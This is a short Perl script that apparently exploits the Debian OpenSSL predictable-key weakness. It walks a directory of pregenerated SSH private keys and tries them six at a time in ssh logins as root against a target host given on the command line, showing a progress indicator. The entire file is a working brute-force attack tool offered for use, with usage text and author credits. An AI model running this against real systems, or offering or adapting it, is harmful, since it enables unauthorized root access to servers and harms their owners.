#!/usr/bin/perl
#
# regex fixed to use hdm/metasploit's pregen keys
# progress indicator added
#  - vom/cinci2600

my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : $0 pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: $0 /root/keys/ 127.0.0.1\n";
   print "By mm@deadbeef.de\n";
   exit 0;
}

opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) { chomp; next unless m,^[a-f0-9\-]+$,; $count++; }
closedir(A);

print "$count key files found.\n";

chdir($ARGV[0]);

opendir(A, $ARGV[0]) || die("opendir");

while ($_ = readdir(A)) {
   chomp;
   next unless m,^[a-f0-9\-]+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      # system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
      system("ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]." 2>/dev/null");

      @a = ();
   }

   $cur++;
   $progress = (($cur / $count)*100);
   $|=1;
   printf ("%3d%% complete\r",$progress);
   $|=0;
}

print "\n";
